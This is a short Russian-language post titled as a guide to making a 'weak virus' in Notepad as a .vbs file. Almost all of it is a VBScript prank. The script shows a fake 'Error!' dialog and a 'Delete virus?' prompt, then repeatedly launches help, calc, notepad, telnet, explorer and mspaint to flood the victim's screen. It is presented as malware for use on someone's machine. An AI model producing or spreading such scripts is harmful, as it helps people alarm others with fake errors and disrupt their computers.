Создаем слабый вирус через блокнот, под форматом .vbs

on error resume next set t=createobject("Wscript.Shell") msgbox"Error!",16 msgbox"Удалить вирус?",36 t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint" t.run"mspaint"